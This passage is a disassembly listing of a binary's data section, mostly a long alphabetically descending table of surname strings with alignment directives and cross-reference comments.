align 4 aWiedersheim db 'Wiedersheim',0 ; DATA XREF: ___:0042E77Co aViano db 'Viano',0 ; DATA XREF: ___:0042E778o align 4 aViana db 'Viana',0 ; DATA XREF: ___:0042E774o align 10h aWhittaker db 'Whittaker',0 ; DATA XREF: ___:0042E770o align 4 aWhitla db 'Whitla',0 ; DATA XREF: ___:0042E76Co align 4 aWhite db 'White',0 ; DATA XREF: ___:0042E768o align 4 aWhilton db 'Whilton',0 ; DATA XREF: ___:0042E764o aWhately db 'Whately',0 ; DATA XREF: ___:0042E760o aWetzel db 'Wetzel',0 ; DATA XREF: ___:0042E75Co align 4 aWescott db 'Wescott',0 ; DATA XREF: ___:0042E758o aVerghese db 'Verghese',0 ; DATA XREF: ___:0042E754o align 4 aVenne db 'Venne',0 ; DATA XREF: ___:0042E750o align 10h aWengret db 'Wengret',0 ; DATA XREF: ___:0042E74Co aWelsh db 'Welsh',0 ; DATA XREF: ___:0042E748o align 10h aWelles db 'Welles',0 ; DATA XREF: ___:0042E744o align 4 aVelasquez db 'Velasquez',0 align 4 aWeissman db 'Weissman',0 align 10h aWeissbourd db 'Weissbourd',0 align 4 aWeinhaus db 'Weinhaus',0 align 4 aWeingarten db 'Weingarten',0 align 4 aWeighart db 'Weighart',0 align 10h aWaugh db 'Waugh',0 align 4 aVasquez db 'Vasquez',0 aWasowska db 'Wasowska',0 ; DATA XREF: ___:0042E720o align 4 aWarshafsky db 'Warshafsky',0 ; DATA XREF: ___:0042E71Co align 4 aVanheeckeren db 'Vanheeckeren',0 ; DATA XREF: ___:0042E718o align 4 aVandenberg db 'Vandenberg',0 ; DATA XREF: ___:0042E714o align 4 aVanzwet db 'VanZwet',0 ; DATA XREF: ___:0042E710o aVanallen db 'vanAllen',0 align 4 aWalter db 'Walter',0 align 10h aWallenberg db 'Wallenberg',0 ; DATA XREF: ___:0042E704o align 4 aWales db 'Wales',0 ; DATA XREF: ___:0042E700o align 4 aValencia db 'Valencia',0 ; DATA XREF: ___:0042E6FCo align 10h aValberg db 'Valberg',0 aWaite db 'Waite',0 ; DATA XREF: ___:0042E6F4o align 10h aVacca db 'Vacca',0 align 4 aUzuner db 'Uzuner',0 align 10h aUsdan db 'Usdan',0 align 4 aUrdangBrown db 'Urdang-Brown',0 align 4 aUrban db 'Urban',0 align 10h aUpsdell db 'Upsdell',0 aUntermeyer db 'Untermeyer',0 align 4 aUllman db 'Ullman',0 align 4 aTzamarias db 'Tzamarias',0 align 4 aTwells db 'Twells',0 align 10h aTuttle db 'Tuttle',0 align 4 aTurek db 'Turek',0 align 10h aTurano db 'Turano',0 align 4 aTukan db 'Tukan',0 align 10h aTudge db 'Tudge',0 ; DATA XREF: ___:0042E6B8o align 4 aTuck db 'Tuck',0 align 10h aTsukurov db 'Tsukurov',0 align 4 aTsomides db 'Tsomides',0 align 4 aTsiatis db 'Tsiatis',0 aTruss db 'Truss',0 align 4 aTroy db 'Troy',0 align 10h aTroiani db 'Troiani',0 aTringali db 'Tringali',0 align 4 aTrewin db 'Trewin',0 ; DATA XREF: ___:0042E694o align 4 aTrenga db 'Trenga',0 ; DATA XREF: ___:0042E690o align 4 aTraebert db 'Traebert',0 ; DATA XREF: ___:0042E68Co align 10h aToye db 'Toye',0 ; DATA XREF: ___:0042E688o align 4 aTowler db 'Towler',0 ; DATA XREF: ___:0042E684o align 10h aTorske db 'Torske',0 ; DATA XREF: ___:0042E680o align 4 aTorresi db 'Torresi',0 ; DATA XREF: ___:0042E67Co aTopulos db 'Topulos',0 ; DATA XREF: ___:0042E678o aToomer db 'Toomer',0 ; DATA XREF: ___:0042E674o align 10h aTomford db 'Tomford',0 ; DATA XREF: ___:0042E670o aTolman db 'Tolman',0 ; DATA XREF: ___:0042E66Co align 10h aTolls db 'Tolls',0 ; DATA XREF: ___:0042E668o align 4 aTollestrup db 'Tollestrup',0 ; DATA XREF: ___:0042E664o align 4 aTofallis db 'Tofallis',0 ; DATA XREF: ___:0042E660o align 10h aTimmons db 'Timmons',0 ; DATA XREF: ___:0042E65Co aTill db 'Till',0 ; DATA XREF: ___:0042E658o align 10h aTierney db 'Tierney',0 ; DATA XREF: ___:0042E654o aThroop db 'Throop',0 ; DATA XREF: ___:0042E650o align 10h aThomsen db 'Thomsen',0 ; DATA XREF: ___:0042E64Co aThisted db 'Thisted',0 ; DATA XREF: ___:0042E648o aThibault db 'Thibault',0 ; DATA XREF: ___:0042E644o align 4 aTheodos db 'Theodos',0 ; DATA XREF: ___:0042E640o aThavaneswaran db 'Thavaneswaran',0 ; DATA XREF: ___:0042E63Co align 4 aThan db 'Than',0 ; DATA XREF: ___:0042E638o align 4 aTerracini db 'Terracini',0 ; DATA XREF: ___:0042E634o align 4 aTenney db 'Tenney',0 ; DATA XREF: ___:0042E630o align 10h aTemmer db 'Temmer',0 ; DATA XREF: ___:0042E62Co align 4 aTemes db 'Temes',0 ; DATA XREF: ___:0042E628o align 10h aTeague db 'Teague',0 ; DATA XREF: ___:0042E624o align 4 aTcherepnin db 'Tcherepnin',0 ; DATA XREF: ___:0042E620o align 4 aTawn db 'Tawn',0 ; DATA XREF: ___:0042E61Co align 4 aTaveras db 'Taveras',0 ; DATA XREF: ___:0042E618o aTatar db 'Tatar',0 ; DATA XREF: ___:0042E614o align 4 aTanowitz db 'Tanowitz',0 ; DATA XREF: ___:0042E610o align 4 aTandler db 'Tandler',0 ; DATA XREF: ___:0042E60Co aTambiah db 'Tambiah',0 ; DATA XREF: ___:0042E608o aTalaugon db 'Talaugon',0 ; DATA XREF: ___:0042E604o align 4 aTai db 'Tai',0 ; DATA XREF: ___:0042E600o aTagiuri db 'Tagiuri',0 ; DATA XREF: ___:0042E5FCo aSwindle db 'Swindle',0 ; DATA XREF: ___:0042E5F8o aSweetser db 'Sweetser',0 ; DATA XREF: ___:0042E5F4o align 4 aSweeting db 'Sweeting',0 ; DATA XREF: ___:0042E5F0o align 10h aSurdam db 'Surdam',0 ; DATA XREF: ___:0042E5ECo align 4 aSuo db 'Suo',0 ; DATA XREF: ___:0042E5E8o aSumner db 'Sumner',0 ; DATA XREF: ___:0042E5E4o align 4 aSullivan db 'Sullivan',0 ; DATA XREF: ___:0042E5E0o align 10h aStringer db 'Stringer',0 ; DATA XREF: ___:0042E5DCo align 4 aStreiff db 'Streiff',0 ; DATA XREF: ___:0042E5D8o aStrauch db 'Strauch',0 ; DATA XREF: ___:0042E5D4o aStrange db 'Strange',0 ; DATA XREF: ___:0042E5D0o aStott db 'Stott',0 ; DATA XREF: ___:0042E5CCo align 4 aStorer db 'Storer',0 ; DATA XREF: ___:0042E5C8o align 4 aStonich db 'Stonich',0 ; DATA XREF: ___:0042E5C4o aStolzenberg db 'Stolzenberg',0 ; DATA XREF: ___:0042E5C0o aStockwell db 'Stockwell',0 ; DATA XREF: ___:0042E5BCo align 4 aStockton db 'Stockton',0 ; DATA XREF: ___:0042E5B8o align 10h aStock db 'Stock',0 ; DATA XREF: ___:0042E5B4o align 4 aStillwell db 'Stillwell',0 ; DATA XREF: ___:0042E5B0o align 4 aStiepock db 'Stiepock',0 ; DATA XREF: ___:0042E5ACo align 10h aStewartOaten db 'Stewart-Oaten',0 ; DATA XREF: ___:0042E5A8o align 10h aStepniewska db 'Stepniewska',0 ; DATA XREF: ___:0042E5A4o aStephanian db 'Stephanian',0 ; DATA XREF: ___:0042E5A0o align 4 aSteiner db 'Steiner',0 ; DATA XREF: ___:0042E59Co aStefani db 'Stefani',0 ; DATA XREF: ___:0042E598o aStatlender db 'Statlender',0 ; DATA XREF: ___:0042E594o align 4 aStates db 'States',0 ; DATA XREF: ___:0042E590o align 4 aStassinopolus db 'Stassinopolus',0 ; DATA XREF: ___:0042E58Co align 4 aStang db 'Stang',0 ; DATA XREF: ___:0042E588o align 4 aStam db 'Stam',0 ; DATA XREF: ___:0042E584o align 4 aStalvey db 'Stalvey',0 ; DATA XREF: ___:0042E580o aStmartin db 'StMartin',0 ; DATA XREF: ___:0042E57Co align 10h aSpinrad db 'Spinrad',0 ; DATA XREF: ___:0042E578o aSpiliotis db 'Spiliotis',0 ; DATA XREF: ___:0042E574o align 4 aSpiegelhalter db 'Spiegelhalter',0 ; DATA XREF: ___:0042E570o align 4 aSpicer db 'Spicer',0 ; DATA XREF: ___:0042E56Co align 4 aSperber db 'Sperber',0 ; DATA XREF: ___:0042E568o aSpence db 'Spence',0 ; DATA XREF: ___:0042E564o align 4 aSpeizer db 'Speizer',0 ; DATA XREF: ___:0042E560o aSpaulding db 'Spaulding',0 ; DATA XREF: ___:0042E55Co align 10h aSparrow db 'Sparrow',0 ; DATA XREF: ___:0042E558o aSpanier db 'Spanier',0 ; DATA XREF: ___:0042E554o aSoultanian db 'Soultanian',0 ; DATA XREF: ___:0042E550o align 4 aSoule db 'Soule',0 ; DATA XREF: ___:0042E54Co align 4 aSoukup db 'Soukup',0 ; DATA XREF: ___:0042E548o align 4 aSottak db 'Sottak',0 ; DATA XREF: ___:0042E544o align 4 aSorg db 'Sorg',0 ; DATA XREF: ___:0042E540o align 4 aSorabella db 'Sorabella',0 ; DATA XREF: ___:0042E53Co align 4 aSommariva db 'Sommariva',0 ; DATA XREF: ___:0042E538o align 4 aSomers db 'Somers',0 ; DATA XREF: ___:0042E534o align 4 aSolon db 'Solon',0 ; DATA XREF: ___:0042E530o align 4 aSocolow db 'Socolow',0 ; DATA XREF: ___:0042E52Co aSnodgrass db 'Snodgrass',0 ; DATA XREF: ___:0042E528o align 4 aSniffen db 'Sniffen',0 ; DATA XREF: ___:0042E524o aSmilow db 'Smilow',0 ; DATA XREF: ___:0042E520o align 4 aSlowe db 'Slowe',0 ; DATA XREF: ___:0042E51Co align 10h aSloan db 'Sloan',0 ; DATA XREF: ___:0042E518o align 4 aSkoda db 'Skoda',0 ; DATA XREF: ___:0042E514o align 10h aSkerry db 'Skerry',0 ; DATA XREF: ___:0042E510o align 4 aSkane db 'Skane',0 ; DATA XREF: ___:0042E50Co align 10h aSites db 'Sites',0 ; DATA XREF: ___:0042E508o align 4 aSirilli db 'Sirilli',0 ; DATA XREF: ___:0042E504o aSinsabaugh db 'Sinsabaugh',0 ; DATA XREF: ___:0042E500o align 4 aSilvetti db 'Silvetti',0 ; DATA XREF: ___:0042E4FCo align 4 aSilverman db 'Silverman',0 ; DATA XREF: ___:0042E4F8o align 4 aSigna db 'Signa',0 ; DATA XREF: ___:0042E4F4o align 4 aSigini db 'Sigini',0 ; DATA XREF: ___:0042E4F0o align 4 aSigalot db 'Sigalot',0 ; DATA XREF: ___:0042E4ECo aSiesto db 'Siesto',0 ; DATA XREF: ___:0042E4E8o align 4 aShimon db 'Shimon',0 ; DATA XREF: ___:0042E4E4o align 4 aShibata db 'Shibata',0 ; DATA XREF: ___:0042E4E0o aShia db 'Shia',0 ; DATA XREF: ___:0042E4DCo align 4 aShesko db 'Shesko',0 ; DATA XREF: ___:0042E4D8o align 4 aShepstone db 'Shepstone',0 ; DATA XREF: ___:0042E4D4o align 10h aSheppard db 'Sheppard',0 ; DATA XREF: ___:0042E4D0o align 4 aShepherd db 'Shepherd',0 ; DATA XREF: ___:0042E4CCo align 4 aSheats db 'Sheats',0 ; DATA XREF: ___:0042E4C8o align 10h aShea db 'Shea',0 ; DATA XREF: ___:0042E4C4o align 4 aShavelson db 'Shavelson',0 ; DATA XREF: ___:0042E4C0o align 4 aShatrov db 'Shatrov',0 ; DATA XREF: ___:0042E4BCo aShar db 'Shar',0 ; DATA XREF: ___:0042E4B8o align 4 aShanley db 'Shanley',0 ; DATA XREF: ___:0042E4B4o aShankland db 'Shankland',0 ; DATA XREF: ___:0042E4B0o align 4 aShakis db 'Shakis',0 ; DATA XREF: ___:0042E4ACo align 10h aShaikh db 'Shaikh',0 ; DATA XREF: ___:0042E4A8o align 4 aSeyfert db 'Seyfert',0 ; DATA XREF: ___:0042E4A4o aSexton db 'Sexton',0 ; DATA XREF: ___:0042E4A0o align 4 aSeterdahl db 'Seterdahl',0 ; DATA XREF: ___:0042E49Co align 4 aSennett db 'Sennett',0 ; DATA XREF: ___:0042E498o aSen db 'Sen',0 ; DATA XREF: ___:0042E494o aSelvage db 'Selvage',0 ; DATA XREF: ___:0042E490o aSekler db 'Sekler',0 ; DATA XREF: ___:0042E48Co align 10h aSegal db 'Segal',0 ; DATA XREF: ___:0042E488o align 4 aSeeber db 'Seeber',0 ; DATA XREF: ___:0042E484o align 10h aSeaton db 'Seaton',0 ; DATA XREF: ___:0042E480o align 4 aScudder db 'Scudder',0 ; DATA XREF: ___:0042E47Co aScovel db 'Scovel',0 ; DATA XREF: ___:0042E478o align 4 aSchwickrath db 'Schwickrath',0 ; DATA XREF: ___:0042E474o aSchwan db 'Schwan',0 ; DATA XREF: ___:0042E470o align 4 aSchuyler db 'Schuyler',0 ; DATA XREF: ___:0042E46Co align 4 aSchutte db 'Schutte',0 ; DATA XREF: ___:0042E468o aSchuman db 'Schuman',0 ; DATA XREF: ___:0042E464o aSchossberger db 'Schossberger',0 ; DATA XREF: ___:0042E460o align 4 aSchmitt db 'Schmitt',0 ; DATA XREF: ___:0042E45Co aSchilling db 'Schilling',0 ; DATA XREF: ___:0042E458o align 4 aSchifini db 'Schifini',0 ; DATA XREF: ___:0042E454o align 4 aSchiano db 'Schiano',0 ; DATA XREF: ___:0042E450o aScheiner db 'Scheiner',0 ; DATA XREF: ___:0042E44Co align 4 aScharlemann db 'Scharlemann',0 ; DATA XREF: ___:0042E448o aScharf db 'Scharf',0 ; DATA XREF: ___:0042E444o align 10h aScepan db 'Scepan',0 ; DATA XREF: ___:0042E440o align 4 aScarponi db 'Scarponi',0 ; DATA XREF: ___:0042E43Co align 4 aSayied db 'Sayied',0 ; DATA XREF: ___:0042E438o align 4 aSawtell db 'Sawtell',0 ; DATA XREF: ___:0042E434o aSatterthwaite db 'Satterthwaite',0 ; DATA XREF: ___:0042E430o align 4 aSatta db 'Satta',0 ; DATA XREF: ___:0042E42Co align 4 aSatin db 'Satin',0 ; DATA XREF: ___:0042E428o align 4 aSase db 'Sase',0 ; DATA XREF: ___:0042E424o align 4 aSartore db 'Sartore',0 ; DATA XREF: ___:0042E420o aSarin db 'Sarin',0 ; DATA XREF: ___:0042E41Co align 4 aSapers db 'Sapers',0 ; DATA XREF: ___:0042E418o align 4 aSanna db 'Sanna',0 ; DATA XREF: ___:0042E414o align 4 aSanchezRamirez db 'Sanchez-Ramirez',0 ; DATA XREF: ___:0042E410o aSamson db 'Samson',0 ; DATA XREF: ___:0042E40Co align 4 aSali db 'Sali',0 ; DATA XREF: ___:0042E408o align 4 aSahu db 'Sahu',0 ; DATA XREF: ___:0042E404o align 4 aSafire db 'Safire',0 ; DATA XREF: ___:0042E400o align 4 aSadler db 'Sadler',0 ; DATA XREF: ___:0042E3FCo align 4 aSabatello db 'Sabatello',0 ; DATA XREF: ___:0042E3F8o align 10h aRyu db 'Ryu',0 ; DATA XREF: ___:0042E3F4o aRush db 'Rush',0 ; DATA XREF: ___:0042E3F0o align 4 aRuescher db 'Ruescher',0 ; DATA XREF: ___:0042E3ECo align 4 aRuderman db 'Ruderman',0 ; DATA XREF: ___:0042E3E8o align 4 aRuan db 'Ruan',0 ; DATA XREF: ___:0042E3E4o align 4 aRu db 'Ru',0 ; DATA XREF: ___:0042E3E0o align 10h aRoyal db 'Royal',0 ; DATA XREF: ___:0042E3DCo align 4 aRow db 'Row',0 ; DATA XREF: ___:0042E3D8o aRonen db 'Ronen',0 ; DATA XREF: ___:0042E3D4o align 4 aRogers db 'Rogers',0 ; DATA XREF: ___:0042E3D0o align 4 aRoesler db 'Roesler',0 ; DATA XREF: ___:0042E3CCo aRocha db 'Rocha',0 ; DATA XREF: ___:0042E3C8o align 4 aRobinson db 'Robinson',0 ; DATA XREF: ___:0042E3C4o align 4 aRivera db 'Rivera',0 ; DATA XREF: ___:0042E3C0o align 10h aRish db 'Rish',0 ; DATA XREF: ___:0042E3BCo align 4 aRineer db 'Rineer',0 ; DATA XREF: ___:0042E3B8o align 10h aRindos db 'Rindos',0 ; DATA XREF: ___:0042E3B4o align 4 aRielly db 'Rielly',0 ; DATA XREF: ___:0042E3B0o align 10h aRichmond db 'Richmond',0 ; DATA XREF: ___:0042E3ACo align 4 aRhea db 'Rhea',0 ; DATA XREF: ___:0042E3A8o align 4 aResnik db 'Resnik',0 ; DATA XREF: ___:0042E3A4o align 4 aRepetto db 'Repetto',0 ; DATA XREF: ___:0042E3A0o aRenick db 'Renick',0 ; DATA XREF: ___:0042E39Co align 4 aRemak db 'Remak',0 ; DATA XREF: ___:0042E398o align 4 aReinold db 'Reinold',0 ; DATA XREF: ___:0042E394o aCunningham db 'Cunningham',0 ; DATA XREF: ___:0042E390o align 4 aReedquist db 'Reedquist',0 ; DATA XREF: ___:0042E38Co align 4 aReddenTyler db 'Redden-Tyler',0 ; DATA XREF: ___:0042E388o align 4 aRayport db 'Rayport',0 ; DATA XREF: ___:0042E384o aRapple db 'Rapple',0 ; DATA XREF: ___:0042E380o align 4 aRankin db 'Rankin',0 ; DATA XREF: ___:0042E37Co align 4 aRangan db 'Rangan',0 ; DATA XREF: ___:0042E378o align 4 aRaney db 'Raney',0 ; DATA XREF: ___:0042E374o align 4 aRajagopalan db 'Rajagopalan',0 ; DATA XREF: ___:0042E370o aRadeke db 'Radeke',0 ; DATA XREF: ___:0042E36Co align 10h aRabkin db 'Rabkin',0 ; DATA XREF: ___:0042E368o align 4 aRabe db 'Rabe',0 ; DATA XREF: ___:0042E364o align 10h aQuetin db 'Quetin',0 ; DATA XREF: ___:0042E360o align 4 aQuaday db 'Quaday',0 ; DATA XREF: ___:0042E35Co align 10h aPynchon db 'Pynchon',0 ; DATA XREF: ___:0042E358o aPugh db 'Pugh',0 ; DATA XREF: ___:0042E354o align 10h aPuccia db 'Puccia',0 ; DATA XREF: ___:0042E350o align 4 aProthrowStith db 'Prothrow-Stith',0 ; DATA XREF: ___:0042E34Co align 4 aProietti db 'Proietti',0 ; DATA XREF: ___:0042E348o align 4 aPritz db 'Pritz',0 ; DATA XREF: ___:0042E344o align 4 aPritchard db 'Pritchard',0 ; DATA XREF: ___:0042E340o align 4 aPrevost db 'Prevost',0 ; DATA XREF: ___:0042E33Co aPreucel db 'Preucel',0 ; DATA XREF: ___:0042E338o aPresper db 'Presper',0 ; DATA XREF: ___:0042E334o aPowers db 'Powers',0 ; DATA XREF: ___:0042E330o align 4 aPoolman db 'Poolman',0 ; DATA XREF: ___:0042E32Co aPoma db 'Poma',0 ; DATA XREF: ___:0042E328o align 4 aPolitis db 'Politis',0 ; DATA XREF: ___:0042E324o aPolanyi db 'Polanyi',0 ; DATA XREF: ___:0042E320o aPolak db 'Polak',0 ; DATA XREF: ___:0042E31Co align 10h aPoirier db 'Poirier',0 ; DATA XREF: ___:0042E318o aPointer db 'Pointer',0 ; DATA XREF: ___:0042E314o aPoincaire db 'Poincaire',0 ; DATA XREF: ___:0042E310o align 4 aPocobene db 'Pocobene',0 ; DATA XREF: ___:0042E30Co align 4 aPo db 'Po',0 ; DATA XREF: ___:0042E308o align 4 aPlous db 'Plous',0 ; DATA XREF: ___:0042E304o align 4 aPlasket db 'Plasket',0 ; DATA XREF: ___:0042E300o aPlant db 'Plant',0 ; DATA XREF: ___:0042E2FCo align 4 aPlancon db 'Plancon',0 ; DATA XREF: ___:0042E2F8o aPinot db 'Pinot',0 ; DATA XREF: ___:0042E2F4o align 4 aPilbeam db 'Pilbeam',0 ; DATA XREF: ___:0042E2F0o aPfister db 'Pfister',0 ; DATA XREF: ___:0042E2ECo aPettit db 'Pettit',0 ; DATA XREF: ___:0042E2E8o align 4 aPettibone db 'Pettibone',0 ; DATA XREF: ___:0042E2E4o align 4 aPetruzello db 'Petruzello',0 ; DATA XREF: ___:0042E2E0o align 4 aPeters db 'Peters',0 ; DATA XREF: ___:0042E2DCo align 4 aPerrimon db 'Perrimon',0 ; DATA XREF: ___:0042E2D8o align 4 aPerone db 'Perone',0 ; DATA XREF: ___:0042E2D4o align 10h aPerna db 'Perna',0 ; DATA XREF: ___:0042E2D0o align 4 aPerlman db 'Perlman',0 ; DATA XREF: ___:0042E2CCo aPerlak db 'Perlak',0 ; DATA XREF: ___:0042E2C8o align 4 aPerko db 'Perko',0 ; DATA XREF: ___:0042E2C4o align 10h aPereira db 'Pereira',0 ; DATA XREF: ___:0042E2C0o aPenny db 'Penny',0 ; DATA XREF: ___:0042E2BCo align 10h aPeishel db 'Peishel',0 ; DATA XREF: ___:0042E2B8o aPederson db 'Pederson',0 ; DATA XREF: ___:0042E2B4o align 4 aPearlberg db 'Pearlberg',0 ; DATA XREF: ___:0042E2B0o align 10h aPeabody db 'Peabody',0 ; DATA XREF: ___:0042E2ACo aPaynter db 'Paynter',0 ; DATA XREF: ___:0042E2A8o aPawloski db 'Pawloski',0 ; DATA XREF: ___:0042E2A4o align 4 aPavlon db 'Pavlon',0 ; DATA XREF: ___:0042E2A0o align 4 aPavetti db 'Pavetti',0 ; DATA XREF: ___:0042E29Co aPattullo db 'Pattullo',0 ; DATA XREF: ___:0042E298o align 4 aPatrick db 'Patrick',0 ; DATA XREF: ___:0042E294o aPatefield db 'Patefield',0 ; DATA XREF: ___:0042E290o align 4 aPascucci db 'Pascucci',0 ; DATA XREF: ___:0042E28Co align 4 aPartridge db 'Partridge',0 ; DATA XREF: ___:0042E288o align 4 aParris db 'Parris',0 ; DATA XREF: ___:0042E284o align 4 aParmeggiani db 'Parmeggiani',0 ; DATA XREF: ___:0042E280o aPaoletti db 'Paoletti',0 ; DATA XREF: ___:0042E27Co align 4 aPantilla db 'Pantilla',0 ; DATA XREF: ___:0042E278o align 10h aPanizzon db 'Panizzon',0 ; DATA XREF: ___:0042E274o align 4 aPanadero db 'Panadero',0 ; DATA XREF: ___:0042E270o align 4 aPalmitesta db 'Palmitesta',0 ; DATA XREF: ___:0042E26Co align 4 aPallara db 'Pallara',0 ; DATA XREF: ___:0042E268o aPalepu db 'Palepu',0 ; DATA XREF: ___:0042E264o align 4 aPalayoor db 'Palayoor',0 ; DATA XREF: ___:0042E260o align 10h aPaine db 'Paine',0 ; DATA XREF: ___:0042E25Co align 4 aPaesdealmeida db 'PaesDealmeida',0 ; DATA XREF: ___:0042E258o align 4 aOvid db 'Ovid',0 ; DATA XREF: ___:0042E254o align 10h aOuchida db 'Ouchida',0 ; DATA XREF: ___:0042E250o aOtten db 'Otten',0 ; DATA XREF: ___:0042E24Co align 10h aOttaviani db 'Ottaviani',0 ; DATA XREF: ___:0042E248o align 4 aOstrowski db 'Ostrowski',0 ; DATA XREF: ___:0042E244o align 4 aOspina db 'Ospina',0 ; DATA XREF: ___:0042E240o align 10h aOrsi db 'Orsi',0 ; DATA XREF: ___:0042E23Co align 4 aOrfield db 'Orfield',0 ; DATA XREF: ___:0042E238o aOray db 'Oray',0 ; DATA XREF: ___:0042E234o align 4 aOpel db 'Opel',0 ; DATA XREF: ___:0042E230o align 10h aOMeara db 'O',27h,'meara',0 ; DATA XREF: ___:0042E22Co aOman db 'Oman',0 ; DATA XREF: ___:0042E228o align 10h aOMalley db 'O',27h,'malley',0 ; DATA XREF: ___:0042E224o align 4 aOlszewski db 'Olszewski',0 ; DATA XREF: ___:0042E220o align 4 aOlson db 'Olson',0 ; DATA XREF: ___:0042E21Co align 10h aOlsen db 'Olsen',0 ; DATA XREF: ___:0042E218o align 4 aOldford db 'Oldford',0 ; DATA XREF: ___:0042E214o aOHagan db 'O',27h,'hagan',0 ; DATA XREF: ___:0042E210o aOh db 'Oh',0 ; DATA XREF: ___:0042E20Co align 4 aOgata db 'Ogata',0 ; DATA XREF: ___:0042E208o align 4 aOcougne db 'Ocougne',0 ; DATA XREF: ___:0042E204o aNuzum db 'Nuzum',0 ; DATA XREF: ___:0042E200o align 4 aNotman db 'Notman',0 ; DATA XREF: ___:0042E1FCo align 4 aNitabach db 'Nitabach',0 ; DATA XREF: ___:0042E1F8o align 4 aNisenson db 'Nisenson',0 ; DATA XREF: ___:0042E1F4o align 4 aNickoloff db 'Nickoloff',0 ; DATA XREF: ___:0042E1F0o align 10h aNickerson db 'Nickerson',0 ; DATA XREF: ___:0042E1ECo align 4 aNi_0 db 'Ni',0 ; DATA XREF: ___:0042E1E8o align 10h aNg db 'Ng',0 ; DATA XREF: ___:0042E1E4o align 4 aNewlin db 'Newlin',0 ; DATA XREF: ___:0042E1E0o align 4 aNewfeld db 'Newfeld',0 ; DATA XREF: ___:0042E1DCo aNeuman db 'Neuman',0 ; DATA XREF: ___:0042E1D8o align 4 aNesci db 'Nesci',0 ; DATA XREF: ___:0042E1D4o align 4 aNenna db 'Nenna',0 ; DATA XREF: ___:0042E1D0o align 4 aNelson db 'Nelson',0 ; DATA XREF: ___:0042E1CCo align 4 aNayduch db 'Nayduch',0 ; DATA XREF: ___:0042E1C8o aNaviaux db 'Naviaux',0 ; DATA XREF: ___:0042E1C4o aNardone db 'Nardone',0 ; DATA XREF: ___:0042E1C0o aNardi db 'Nardi',0 ; DATA XREF: ___:0042E1BCo align 4 aNapolitano db 'Napolitano',0 ; DATA XREF: ___:0042E1B8o align 10h aNaddeo db 'Naddeo',0 ; DATA XREF: ___:0042E1B4o align 4 aMussachio db 'Mussachio',0 ; DATA XREF: ___:0042E1B0o align 4 aMumford db 'Mumford',0 ; DATA XREF: ___:0042E1ACo aMulroy db 'Mulroy',0 ; DATA XREF: ___:0042E1A8o align 4 aMulkern db 'Mulkern',0 ; DATA XREF: ___:0042E1A4o aMugnai db 'Mugnai',0 ; DATA XREF: ___:0042E1A0o align 4 aMuello db 'Muello',0 ; DATA XREF: ___:0042E19Co align 4 aMudarri db 'Mudarri',0 ; DATA XREF: ___:0042E198o aMotooka db 'Motooka',0 ; DATA XREF: ___:0042E194o aMostafavi db 'Mostafavi',0 ; DATA XREF: ___:0042E190o align 4 aMosler db 'Mosler',0 ; DATA XREF: ___:0042E18Co align 10h aMosher db 'Mosher',0 ; DATA XREF: ___:0042E188o align 4 aMortimer db 'Mortimer',0 ; DATA XREF: ___:0042E184o align 4 aMorrow db 'Morrow',0 ; DATA XREF: ___:0042E180o align 4 aMorrison db 'Morrison',0 ; DATA XREF: ___:0042E17Co align 4 aMoreton db 'Moreton',0 ; DATA XREF: ___:0042E178o aMorani db 'Morani',0 ; DATA XREF: ___:0042E174o align 4 aMooredech_ db 'MooreDeCh.',0 ; DATA XREF: ___:0042E170o align 4 aMontilio db 'Montilio',0 ; DATA XREF: ___:0042E16Co align 10h aMonque db 'Monque',0 ; DATA XREF: ___:0042E168o align 4 aMoiamedi db 'Moiamedi',0 ; DATA XREF: ___:0042E164o align 4 aMohr db 'Mohr',0 ; DATA XREF: ___:0042E160o align 4 aMoeller db 'Moeller',0 ; DATA XREF: ___:0042E15Co aModestino db 'Modestino',0 ; DATA XREF: ___:0042E158o align 10h aMocroft db 'Mocroft',0 ; DATA XREF: ___:0042E154o aMittal db 'Mittal',0 ; DATA XREF: ___:0042E150o align 10h aMitropoulos db 'Mitropoulos',0 ; DATA XREF: ___:0042E14Co aGonzalez db 'Gonzalez',0 ; DATA XREF: ___:0042E148o align 4 aMinichiello db 'Minichiello',0 ; DATA XREF: ___:0042E144o aMini db 'Mini',0 ; DATA XREF: ___:0042E140o align 4 aMinh db 'Minh',0 ; DATA XREF: ___:0042E13Co align 4 aMills db 'Mills',0 ; DATA XREF: ___:0042E138o align 4 aMieher db 'Mieher',0 ; DATA XREF: ___:0042E134o align 4 aMiddle db 'Middle',0 ; DATA XREF: ___:0042E130o align 4 aMichelman db 'Michelman',0 ; DATA XREF: ___:0042E12Co align 4 aMeurer db 'Meurer',0 ; DATA XREF: ___:0042E128o align 10h aMetropolis db 'Metropolis',0 ; DATA XREF: ___:0042E124o align 4 aMetelka db 'Metelka',0 ; DATA XREF: ___:0042E120o aMerz db 'Merz',0 ; DATA XREF: ___:0042E11Co align 4 aMerseth db 'Merseth',0 ; DATA XREF: ___:0042E118o aMerminod db 'Merminod',0 ; DATA XREF: ___:0042E114o align 10h aMerlani db 'Merlani',0 ; DATA XREF: ___:0042E110o aMerikoski db 'Merikoski',0 ; DATA XREF: ___:0042E10Co align 4 aMenzies db 'Menzies',0 ; DATA XREF: ___:0042E108o aMemisoglu db 'Memisoglu',0 ; DATA XREF: ___:0042E104o align 4 aMeccariello db 'Meccariello',0 ; DATA XREF: ___:0042E100o aMcnulty db 'Mcnulty',0 ; DATA XREF: ___:0042E0FCo aMcnealy db 'Mcnealy',0 ; DATA XREF: ___:0042E0F8o aMclaren db 'Mclaren',0 ; DATA XREF: ___:0042E0F4o aMclane db 'Mclane',0 ; DATA XREF: ___:0042E0F0o align 4 aMckenna db 'Mckenna',0 ; DATA XREF: ___:0042E0ECo aMcintosh db 'Mcintosh',0 ; DATA XREF: ___:0042E0E8o align 4 aMcilroy db 'McIlroy',0 ; DATA XREF: ___:0042E0E4o aMcgoldrick db 'Mcgoldrick',0 ; DATA XREF: ___:0042E0E0o align 4 aMcghee db 'Mcghee',0 ; DATA XREF: ___:0042E0DCo align 4 aMcfadden db 'McFadden',0 ; DATA XREF: ___:0042E0D8o align 10h aMcelroy db 'Mcelroy',0 ; DATA XREF: ___:0042E0D4o aMcdowell db 'Mcdowell',0 ; DATA XREF: ___:0042E0D0o align 4 aMcclearn db 'Mcclearn',0 ; DATA XREF: ___:0042E0CCo align 10h aMccall db 'Mccall',0 ; DATA XREF: ___:0042E0C8o align 4 aMccaffery db 'Mccaffery',0 ; DATA XREF: ___:0042E0C4o align 4 aMcbride db 'Mcbride',0 ; DATA XREF: ___:0042E0C0o aMazziotta db 'Mazziotta',0 ; DATA XREF: ___:0042E0BCo align 4 aMazzali db 'Mazzali',0 ; DATA XREF: 